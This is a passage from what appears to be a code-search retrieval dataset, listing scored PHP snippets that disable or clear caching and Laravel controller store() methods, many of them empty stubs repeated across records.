"1e228d2e6b3d03c18cf4844df15623d1", "score": "0.7496872", "text": "public static function preventCache()\n {\n self::prevenirCache();\n }", "title": "" }, { "docid": "2a3fefaabcde56841623e10f75064f8f", "score": "0.7460678", "text": "function nocache() {\n $this->info['cache'] = false;\n }", "title": "" }, { "docid": "ff1bba922bfca49bdfab44c7c861b782", "score": "0.7430218", "text": "function elgg_disable_simplecache() {\n\t_elgg_services()->simpleCache->disable();\n}", "title": "" }, { "docid": "b0e1d7258dabb7acce3beb32a69a3471", "score": "0.7429935", "text": "public function disableCache() {\n\t\t$this->response = $this->response\n\t\t\t->withHeader('Pragma', 'no-cache')\n\t\t\t->withDisabledCache();\n\t}", "title": "" }, { "docid": "3b8308392c391cdf02e1735aab58ea35", "score": "0.7328621", "text": "protected function disableCache()\r\n {\r\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');\r\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\r\n header('Cache-Control: no-store, no-cache, must-revalidate');\r\n header('Cache-Control: post-check=0, pre-check=0', false);\r\n header('Pragma: no-cache');\r\n }", "title": "" }, { "docid": "57381567514ad73a3690b3022357f3c2", "score": "0.7283103", "text": "public function bypassCache()\n {\n header('Pragma: no-cache');\n header('Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate');\n }", "title": "" }, { "docid": "42c96fd0ab4812a2744a3b703e586c9a", "score": "0.7229811", "text": "public static function cacheNone() {\n $gm_mod = gmdate('D, d M Y H:i:s') . ' GMT';\n header(\"Last-Modified: $gm_mod\");\n header(\"Pragma: no-cache\");\n //-------------------------------------------------\n // Backwards Compatibility for HTTP/1.0 clients\n header(\"Expires: 0\");\n // header(\"Expires: $gm_mod\");//expires now\n // header(\"Expires: Sat, 26 Jul 1997 05:00:00 GMT\"); // expires Date in the past\n //-------------------------------------------------\n // HTTP/1.1 support\n header(\"Cache-Control: no-cache,no-store,max-age=0,s-maxage=0\");\n // header(\"Cache-Control: no-cache, must-revalidate\"); //HTTP 1.1\n }", "title": "" }, { "docid": "569529eaf1fc8297faac97911d69b382", "score": "0.71413636", "text": "public function disableServeFromCache()\n {\n $this->disableCache = true;\n\n $this->setHeader(\"Expires: Tue, 03 Jul 2001 06:00:00 GMT\");\n $this->setHeader(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\n $this->setHeader(\"Cache-Control: no-store, no-cache, must-revalidate, max-age=0\");\n $this->setHeader(\"Cache-Control: post-check=0, pre-check=0\", false);\n $this->setHeader(\"Pragma: no-cache\");\n }", "title": "" }, { "docid": "cfb614a1698770a346193fa716c6509a", "score": "0.7124556", "text": "public function cache()\n {\n return false;\n }", "title": "" }, { "docid": "3b8de3cc4c42ef010f5df79ff840df56", "score": "0.7063629", "text": "public function disableTableCaching() {\n $this->cache_disabled = true;\n }", "title": "" }, { "docid": "4f38fc45d6d196dd9a1b7f41e5b127ad", "score": "0.7048009", "text": "function disable_cache(){\t\t\t \n\t\theader( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); \n\t\theader( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); \n\t\theader( 'Cache-Control: no-store, no-cache, must-revalidate' ); \n\t\theader( 'Cache-Control: post-check=0, pre-check=0', false ); \n\t\theader( 'Pragma: no-cache' ); \n\t}", "title": "" }, { "docid": "3b8ad1808c9494c22380cf0d61a2ad53", "score": "0.69985694", "text": "protected function disableDbCache()\n {\n if(count($this->parameters['post']) > 0 || $this->socketRequested() || $this->sessionExists())\n {\n $this->disableServeFromCache();\n $this->disableSaveToCache();\n } else {\n /**\n * Which get vars do we allow to be able to cache\n */\n $cacheOkVars = array(\n 'page',\n 'langCode',\n 'location',\n 'item',\n 'identifier',\n 'task',\n 'contentOnly'\n );\n\n foreach($this->parameters['query'] as $paramName => $value)\n {\n if(!in_array($paramName, $cacheOkVars))\n {\n $this->disableServeFromCache();\n $this->disableSaveToCache();\n }\n }\n }\n }", "title": "" }, { "docid": "136515e93926fc325bc518fdad5f8439", "score": "0.6995531", "text": "protected function bustCache()\n {\n Cache::forget(static::SESSION_ID_CACHE_KEY);\n Cache::forget(static::AUTH_CACHE_KEY);\n Cache::forget(static::LOGIN_CACHE_KEY);\n }", "title": "" }, { "docid": "d2cd410ff70b0a7abc1ba842ce27cdfe", "score": "0.69652736", "text": "function elgg_disable_system_cache() {\n\t_elgg_services()->systemCache->disable();\n}", "title": "" }, { "docid": "aa5354258fb00778a9acd9e30c69d1d3", "score": "0.6952488", "text": "public function cacheEnabled();", "title": "" }, { "docid": "23a9e8abb1b7a1e98cdebaa5481f7f16", "score": "0.6940005", "text": "public function temporarily_disable_orders_cache_usage() : void\n {\n }", "title": "" }, { "docid": "3e667488275374e24771e819f718deec", "score": "0.6931115", "text": "public function enableCache() {\n header_remove('Cache-Control');\n header_remove('Pragma');\n header_remove('Expires');\n }", "title": "" }, { "docid": "86d9282a160ecd2ac1711387e65bb783", "score": "0.6914666", "text": "function prevent_cache()\n{\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\n header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');\n header('Cache-Control: post-check=0, pre-check=0', false);\n\n return true;\n}", "title": "" }, { "docid": "d9a5be3b7d05f547dfbdf62a7d16be6f", "score": "0.68864363", "text": "function illuminate_forget_cache() {\n if (class_exists('\\Cache')) {\n \\Cache::flush();\n }\n}", "title": "" }, { "docid": "642612c25aae3259165384429655b8c5", "score": "0.68620646", "text": "public function _AllowCache()\n {\n return true;\n }", "title": "" }, { "docid": "642612c25aae3259165384429655b8c5", "score": "0.68620646", "text": "public function _AllowCache()\n {\n return true;\n }", "title": "" }, { "docid": "642612c25aae3259165384429655b8c5", "score": "0.68620646", "text": "public function _AllowCache()\n {\n return true;\n }", "title": "" }, { "docid": "585203dc7a6ff55d373847e678b9bc00", "score": "0.68537706", "text": "public function resetEnableCache()\n {\n $this->cacheEnabled = $this->lastCacheEnabled;\n }", "title": "" }, { "docid": "efe6519e7b183a8ae406218dba038d72", "score": "0.68421835", "text": "abstract public function skipCache(): Base;", "title": "" }, { "docid": "b1da0b333d3855504692b63989acc084", "score": "0.683711", "text": "function noCache() {\n header('Pragma: no-cache');\n header('Expires: 0');\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\n header('Cache-Control: no-cache, must-revalidate');\n }", "title": "" }, { "docid": "276ee52c92eee5c82dc3232839d62794", "score": "0.68247014", "text": "public static function noCache() {\n\t\t\tself::proxyLog('noCache');\n\t header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");\n\t header(\"Pragma: no-cache\");\n\t header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\n\t header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\n\n\t\t\t// if session is started, then PHP will override the above headers with it's own headers using the following configuration\n\t\t\tsession_cache_limiter('nocache');\n\t\t\tsession_cache_expire(0);\n\n\t\t\tself::$cacheLim = 'nocache';\n\t\t}", "title": "" }, { "docid": "a216b328e5dcc592d684e2e5a5f9ca90", "score": "0.6823045", "text": "public function resetCache();", "title": "" }, { "docid": "a216b328e5dcc592d684e2e5a5f9ca90", "score": "0.6823045", "text": "public function resetCache();", "title": "" }, { "docid": "d297ac4d61e2276f39bcb60e348ace8f", "score": "0.68152064", "text": "public function enableRuntimeCache() {}", "title": "" }, { "docid": "b190371e7db91bee9dbd28065fab26c0", "score": "0.6795247", "text": "public function clearCache() {}", "title": "" }, { "docid": "b190371e7db91bee9dbd28065fab26c0", "score": "0.6795247", "text": "public function clearCache() {}", "title": "" }, { "docid": "81a242ad8df06b27337f04a3fd3c5fb4", "score": "0.6791994", "text": "public function avoidCacheForAMinute()\r\n {\r\n $this->avoidCacheTimed(self::MINUTE);\r\n }", "title": "" }, { "docid": "94ff2d1700a1d523cb5f0fdcb88f6def", "score": "0.6764549", "text": "public function cache()\n\t{\n\t\t/*\n\t\t * This is an empty implementation so that cacheing capability is not\n\t\t * required, but may be implemented.\n\t\t */\n\t}", "title": "" }, { "docid": "cb353a3cbeb3f6d5eb2bbda9e65c9c35", "score": "0.67624724", "text": "public function headerNoCache() {}", "title": "" }, { "docid": "6a03e92e974d7f1d2b1f2a5f1290e366", "score": "0.6756262", "text": "public static function setNoCache () {\r\n\t\theader( \"Cache-Control: no-cache, must-revalidate\" );\r\n\t\theader( \"Expires: Mon, 26 Jul 1997 05:00:00 GMT\" );\r\n\t}", "title": "" }, { "docid": "0986da7723a6360e9b51cb08cf6d437c", "score": "0.67270267", "text": "public function resetCache()\n {\n }", "title": "" }, { "docid": "6ae88129ba6f63350a6c90c05edcd94d", "score": "0.67133373", "text": "public function disableCache()\n {\n $this->useCache = false;\n\n return $this;\n }", "title": "" }, { "docid": "69ff41267612db176bc7bada776ad4dc", "score": "0.6707431", "text": "function setNoCache(){\n\t\t$now = gmdate('D, d M Y H:i:s') . ' GMT';\n\t\theader('Expires: 0'); \t\t\t\t\t\t\t\t\t\t\t// rfc2616 - Section 14.21\n\t\theader('Last-Modified: ' . $now);\n\t\theader('Cache-Control: no-store, no-cache, must-revalidate'); \t// HTTP/1.1\n\t\theader('Cache-Control: pre-check=0, post-check=0, max-age=0');\t// HTTP/1.1\n\t\theader('Pragma: no-cache');\n\t}", "title": "" }, { "docid": "69ff41267612db176bc7bada776ad4dc", "score": "0.6707431", "text": "function setNoCache(){\n\t\t$now = gmdate('D, d M Y H:i:s') . ' GMT';\n\t\theader('Expires: 0'); \t\t\t\t\t\t\t\t\t\t\t// rfc2616 - Section 14.21\n\t\theader('Last-Modified: ' . $now);\n\t\theader('Cache-Control: no-store, no-cache, must-revalidate'); \t// HTTP/1.1\n\t\theader('Cache-Control: pre-check=0, post-check=0, max-age=0');\t// HTTP/1.1\n\t\theader('Pragma: no-cache');\n\t}", "title": "" }, { "docid": "695de1aa65bc5d7186364f4bdf30208c", "score": "0.670141", "text": "public function nevercached()\n {\n // force caching off\n $this->view->setCaching(Zikula_View::CACHE_DISABLED);\n\n $this->view->assign('time', microtime(true));\n return $this->view->fetch('user/cachedemo/nevercached.tpl');\n }", "title": "" }, { "docid": "d550d589d29b0267bb7ccc52ece65f7f", "score": "0.6688576", "text": "public function shouldResetCache();", "title": "" }, { "docid": "74884c1f07fc3be33eceaf0ed1377e22", "score": "0.66745013", "text": "public function avoidCacheNoAdmin()\r\n {\r\n if (!is_admin()) {\r\n $this->avoidCache();\r\n }\r\n }", "title": "" }, { "docid": "849920014a33c513499a932e3c3d6103", "score": "0.666814", "text": "public static function setNoCache()\n\t{\n\t\tstatic::setExpires(-604800);\n\t\tstatic::setHeader(\n\t\t\tarray(\n\t\t\t\t'Pragma' => 'no-cache',\n\t\t\t\t'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "238074837dabf732b494c50ba516a4e0", "score": "0.666756", "text": "public function disableModuleCache()\n {\n if ($this->isModule()) {\n $this->appendConfig('module_cache', array($this->module->getVar('mid') => 0), true);\n }\n }", "title": "" }, { "docid": "1d9aef7d53b964686bc71a2c96b08a41", "score": "0.6654597", "text": "public static function disableFetch()\n {\n self::$_isFetchEnabled = false;\n }", "title": "" }, { "docid": "e1d6785bba36c19dad8acd6ac03454a7", "score": "0.665103", "text": "public function disableOutputCaching() {\n $this->outputCacheSave = false;\n }", "title": "" }, { "docid": "7a7e0fe10f9caa1966b2c6c1ae993ae2", "score": "0.66389257", "text": "function unset_page_cache()\n\t{\n\t\t$ci_ins =& get_instance();\n\t\t$ci_ins->output->set_header(\"Cache-Control: no-store, no-cache, must-revalidate, no-transform, max-age=0, post-check=0, pre-check=0\");\n\t\t$ci_ins->output->set_header(\"Pragma: no-cache\");\n\t}", "title": "" }, { "docid": "6d5e38a1e80c83cbfa4fa709e7a1b969", "score": "0.6632343", "text": "function prevent_cache_headers() {\r\r\n\theader('Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0');\r\r\n\theader('Pragma: no-cache');\r\r\n}", "title": "" }, { "docid": "75aa71e09fb9eac6a5fa03166de01f58", "score": "0.66304713", "text": "public function stop_cache ()\n {\n $this->ar_caching = FALSE;\n }", "title": "" }, { "docid": "01100fdc8a72dc216d5c804f82a9759e", "score": "0.6622645", "text": "public function stop_cache() {\n $this->ar_caching = FALSE;\n }", "title": "" }, { "docid": "e5a2d3b2eb2e555f7ac873e8b81f6af5", "score": "0.6617881", "text": "protected function setNoBrowserCache()\r\n\t{\r\n\t\theader('Cache-Control: no-cache');\r\n\t\theader('Pragma: no-cache');\t\r\n\t}", "title": "" }, { "docid": "b5afc2a98ca98ad47ae2e0bba2e7d7fe", "score": "0.6602297", "text": "public function shouldCache(): bool\n {\n return true;\n }", "title": "" }, { "docid": "b5afc2a98ca98ad47ae2e0bba2e7d7fe", "score": "0.6602297", "text": "public function shouldCache(): bool\n {\n return true;\n }", "title": "" }, { "docid": "a70a2f914ce8ed7ee35215847b3b0158", "score": "0.66019833", "text": "function clear_cache() {\r\r\n $this->output->set_header(\"cache-control: no-store, no-cache, must-revalidate, no-transform, max-age=0, post-check=0, pre-check=0\");\r\r\n $this->output->set_header(\"Pragma:no-cache\");\r\r\n }", "title": "" }, { "docid": "fbd5781f091ac90d888591303b7fa539", "score": "0.65967536", "text": "function ae_noCache() {\r\n header(\"Expires: Tue, 01 Jul 2001 06:00:00 GMT\");\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n }", "title": "" }, { "docid": "a893de2ab68c53c82c542a850aac6b69", "score": "0.6596632", "text": "function nocache() {\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Pragma: no-cache\");\r\n}", "title": "" }, { "docid": "c97017a641b1dee2526d8989a8512af2", "score": "0.6592483", "text": "function clear_cache()\n {\n $this->output->set_header(\"Cache-Control: no-store, no-cache, must-revalidate, no-transform, max-age=0, post-check=0, pre-check=0\");\n $this->output->set_header(\"Pragma: no-cache\");\n }", "title": "" }, { "docid": "fbaa687118078d11e5a6ae3d0e555084", "score": "0.6585718", "text": "function prevent_cache_headers() {\r\n\theader('Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0');\r\n\theader('Pragma: no-cache');\r\n}", "title": "" }, { "docid": "2e2e3abb99b271799d1804bd04258d7c", "score": "0.658395", "text": "public function no_cache() {\n\t\tnocache_headers();\n\n\t\tif ( ! defined( 'DONOTCACHEPAGE' ) ) {\n\t\t\tdefine( 'DONOTCACHEPAGE', 'true' );\n\t\t}\n\n\t\tif ( ! defined( 'DONOTCACHEOBJECT' ) ) {\n\t\t\tdefine( 'DONOTCACHEOBJECT', 'true' );\n\t\t}\n\n\t\tif ( ! defined( 'DONOTCACHEDB' ) ) {\n\t\t\tdefine( 'DONOTCACHEDB', 'true' );\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "d0675df90c5679eba67b133c1dbcd0c8", "score": "0.6578449", "text": "abstract public function clearCache();", "title": "" }, { "docid": "a41bdbe886898ed6ee02adf217ece3b2", "score": "0.6576155", "text": "public function enableCache(): void{\n $this->cacheEnabled = true;\n }", "title": "" }, { "docid": "548f6a8f31f6ea2882e977f3bf329ac1", "score": "0.6574277", "text": "function elgg_invalidate_simplecache() {\n\t_elgg_services()->simpleCache->invalidate();\n}", "title": "" }, { "docid": "60fc544a9ed8b929fd69c69e6af84e6d", "score": "0.65723747", "text": "protected function should_use_cache()\n {\n }", "title": "" }, { "docid": "b63f8b1958806995584872b1338c0d77", "score": "0.6567801", "text": "public function withoutOverlappingCache()\n {\n return $this->skip(function () {\n return $this->skipCache();\n });\n }", "title": "" }, { "docid": "f16402168499c0fb76130390a4b5408e", "score": "0.65204144", "text": "public function nocache()\n {\n header('Pragma: no-cache');\n header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');\n\n // Use no-store due to a Chrome bug: https://code.google.com/p/chromium/issues/detail?id=28035\n header('Cache-Control: no-store, must-revalidate');\n }", "title": "" }, { "docid": "84a36ead2d818c1d0ed15fab134d835a", "score": "0.6517025", "text": "public function disableCache()\n {\n $this->isCacheDisabled = true;\n\n return $this;\n }", "title": "" }, { "docid": "a64daf199a8d286906f1e4ba96393ef0", "score": "0.6511742", "text": "public function get_data_to_cache();", "title": "" }, { "docid": "f37ad1b7d002fb24f96e6187fd78da28", "score": "0.64973986", "text": "public function clearCache(): void;", "title": "" }, { "docid": "3eea628bab525c3c53488043a68b7b4a", "score": "0.6496794", "text": "public static function prevenirCache()\n {\n $ts = gmdate('D, d M Y H:i:s') . ' GMT';\n header(\"Expires: $ts\");\n header(\"Last-Modified: $ts\");\n header('Pragma: no-cache');\n header('Cache-Control: no-cache, no-store, must-revalidate');\n }", "title": "" }, { "docid": "8fc5217894c8f1a03d990f17db3e6b7d", "score": "0.648714", "text": "function getData ()\n{\n return cache();\n}", "title": "" }, { "docid": "74bc92746bd767a92768431849e289b4", "score": "0.6486845", "text": "protected function toggleCache() {\n $configUpdates = $this->config->get('cache.all');\n $envUpdates = $this->config->get('cache.' . $this->environment);\n\n if( $envUpdates ) {\n $configUpdates = array_merge($configUpdates, $envUpdates);\n }\n\n if(isset($configUpdates['disable_cache']) && $configUpdates['disable_cache'] === true) {\n MagentoHelper::disableCaches();\n }\n }", "title": "" }, { "docid": "f4c1a4d51b2b6b0eb66d21b69bde2138", "score": "0.64682174", "text": "protected function preventCrossUserCaching()\n {\n if (\\LocalUser::sessionExists())\n {\n $this->disableServeFromCache();\n $this->disableSaveToCache();\n $this->disableServeFromSitePublisher = true;\n } \n }", "title": "" }, { "docid": "e2f3a9ff2619191d181d1fde8230a2c2", "score": "0.6463524", "text": "function yourls_no_cache_headers() {\n if( !headers_sent() ) {\n header( 'Expires: Thu, 23 Mar 1972 07:00:00 GMT' );\n header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );\n header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );\n header( 'Pragma: no-cache' );\n }\n}", "title": "" }, { "docid": "bb38f455b346b91d836b53c6178af310", "score": "0.64628243", "text": "public function testDisableCache()\n {\n $responses = array_fill(0, 11, new MockResponse('{\"message\": \"OK\"}'));\n\n $manager = new QueryManager();\n $manager->addDataProvider('test1', new Rest('https://example.com'));\n $manager->setHttpClient(new MockHttpClient($responses));\n\n // Set cache\n $adapter = new FilesystemAdapter('cache', 0, self::CACHE_DIR);\n $adapter->clear();\n $manager->setCache($adapter);\n $this->assertTrue($manager->isCacheEnabled());\n\n $query1 = (new Query())->setUri('query1')->cache();\n $manager->add('query1', $query1);\n $query2 = (new Query())->setUri('query2')->cache();\n $manager->add('query2', $query2);\n\n // Disable cache\n $manager->disableCache();\n $this->assertFalse($manager->isCacheEnabled());\n\n $response1 = $manager->getResponse('query1');\n $response2 = $manager->getResponse('query2');\n $manager->clearResponse('query1');\n $manager->clearResponse('query2');\n\n $response1 = $manager->getResponse('query1');\n $response2 = $manager->getResponse('query2');\n $this->assertFalse($response1->isHit());\n $this->assertFalse($response2->isHit());\n }", "title": "" }, { "docid": "74ac8efbd61611194fe401a608082d55", "score": "0.6461205", "text": "public function avoidCache($value = true){\n $this->avoidCache = $value;\n $this->init(\n $this->default_lang,\n $this->default_textdomain\n );\n }", "title": "" }, { "docid": "8b4cea2e9e5e0ab741d0a9822b8a3bc5", "score": "0.64600426", "text": "public function disableLoading() { $this->loadWhenGet = FALSE; }", "title": "" }, { "docid": "979ae80d7a27f1c1e0f8c854f3e40291", "score": "0.64560074", "text": "protected function removeExpiredCacheEntries() {}", "title": "" }, { "docid": "5570a7fe990dae80a71b08401564a6b2", "score": "0.64458257", "text": "public function preventCache(){\n\t\t\t// Header must revalidate statements to delete the last cache\n\t\t\t$this->output->set_header(\"HTTP/1.0 200 OK\");\n\t\t\t$this->output->set_header(\"HTTP/1.1 200 OK\");\n\t\t\t$this->output->set_header(\"Expires: Thu, 19 Nov 1981 08:52:00 GMT\");\n\t\t\t$this->output->set_header(\"Cache-Control: no-store, no-cache, must-revalidate\");\n\t\t\t$this->output->set_header(\"Cache-Control: post-check=0, pre-check=0\");\n\t\t\t$this->output->set_header(\"Pragma: no-cache\");\n\t\t\t\n\t\t\treturn 1;\n\t\t}", "title": "" }, { "docid": "940fd0240bfe977cc4c0bea057c0539c", "score": "0.6445337", "text": "public function uncache() {\n\t\t$this->url = null;\n\t\t$this->path = null;\n\t\t// $this->page = null;\n\t}", "title": "" }, { "docid": "792823ff11ac83af20511ef2b3ded2e1", "score": "0.64425486", "text": "protected function refreshCache()\n {\n if ($this->request->isNoCache() && $this->responseIsCached()) {\n $this->app['cache']->forget($this->cacheKey);\n }\n }", "title": "" }, { "docid": "06921e33f0e1ec5bcf98f9ccadb9c079", "score": "0.6440549", "text": "public function avoidCacheForAFewSeconds()\r\n {\r\n $this->avoidCacheTimed(self::FEW_SECONDS);\r\n }", "title": "" }, { "docid": "0392da2e7f5b87df3b73c8f08360bd53", "score": "0.6427088", "text": "public function editor2_no_cache() {\n\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');\n header('Cache-Control: no-store, no-cache, must-revalidate');\n header('Cache-Control: post-check=0, pre-check=0', false);\n header('Pragma: no-cache');\n header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');\n }", "title": "" }, { "docid": "9c14214552bd30e8e8a51556136852f0", "score": "0.6413223", "text": "protected function clearCacheOnError() {}", "title": "" }, { "docid": "d3e511850fdaa190823f449f23dce29e", "score": "0.64087003", "text": "public function cacheRegenerate()\n\t{\n\t\tCache::forget(\"admin_roles\");\n\t}", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "9ac0af43be9e7c893534edf16bbbe101", "score": "0.0", "text": "public function store(Request $request)\n {\n //\n $order_id=$request->input('order_id');\n $payment=$request->input('payment');\n $cost=$request->input('cost');\n $payed=$request->input('payed');\n $new=$payed+$payment;\n $rem=$cost-$new;\n echo $rem;\n if ($rem==0) {\n # code...\n\n DB::table('order')\n ->where('order_id', $order_id)\n ->update(['payment' => $new,'shipment_status' => 1]);\n \n } else {\n DB::table('order')\n ->where('order_id', $order_id)\n ->update(['payment' => $new]);\n # code...\n\n DB::table('customerorder')\n ->where('order_id', $order_id)\n ->update(['status' =>3]);\n }\n \n return Redirect('Payment');\n \n \n\n }", "title": "" } ]
[ { "docid": "643f51843534c99b002271c413f71061", "score": "0.7146559", "text": "public function store()\n {\n $this->storage->set($this);\n\n }", "title": "" }, { "docid": "aba977442c12d8193d7ce12cb2a46e96", "score": "0.669151", "text": "public function store ()\n {\n $this->_update_login ();\n $this->_pre_store ();\n\n if ($this->exists ())\n {\n $this->_update ();\n }\n else\n {\n $this->_create ();\n }\n }", "title": "" }, { "docid": "75600e5d65c2156987ff7cb140e14a4b", "score": "0.6621316", "text": "public function store() {\n $fileService = $this->getFileService();\n $filename = $this->getCacheDirectory() . $this->generateCacheablefilename();\n $fileService->saveFile($filename, $this->resource->getContent());\n }", "title": "" }, { "docid": "98fadc36fd3a4194a25023de21dae9ff", "score": "0.6427124", "text": "public function save($resource);", "title": "" }, { "docid": "9181113e9ca478f57b376bb60189432a", "score": "0.6393784", "text": "public function store()\n\t{\n\t\t//\n\t\t$inputs = Input::all();\n\t\t$validator = Validator::make($inputs , \\App\\Resource::$rules);\n\n\t\tif($validator->passes()){\n\t\t\t$destinationPath = 'pictures/'; // upload path\n\t\t\t$extension = Input::file('image')->getClientOriginalExtension(); // getting image extension\n\t\t\t$fileName = rand(11111,99999). '_' . time() . '.'.$extension; // renameing image\n\t\t\tImage::make(Input::file('image')->getRealPath())->resize(300, null,function($constrain){\n\t\t\t\t$constrain->aspectRatio();\n\t\t\t})->save($destinationPath . $fileName);\n\t\t\t// Input::file('image')->move($destinationPath, $fileName); // uploading file to given path\n\t\t\t$inputs['image'] = $fileName;\n\t\t\t\\App\\Resource::create($inputs);\n\t\t\treturn Redirect::to('/');\n\n\t\t}\n\n\t\treturn Redirect::back()\n\t\t\t->withInput(Input::all())\n\t\t\t->withErrors($validator);\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63628685", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "bd7a2528e89d1c3f43656fa9d3a11bc3", "score": "0.6358266", "text": "public function store(StoreResourceRequest $request): JsonResponse\n {\n $resource = new Resource;\n $resource->fill($request->all());\n if ($request->has('url')) {\n $resource->url = $request->file('url')->store('articles', 'article');\n }\n $resource->saveOrFail();\n return $this->api_success([\n 'data' => new ResourceArticleResource($resource),\n 'message' => __('pages.responses.created'),\n 'code' => 201\n ], 201);\n }", "title": "" }, { "docid": "af1871e1a1f1d758082bcf4ebeab10eb", "score": "0.63550603", "text": "public function saveStorage()\n {\n $this->storage->save($this->getProduct());\n }", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", 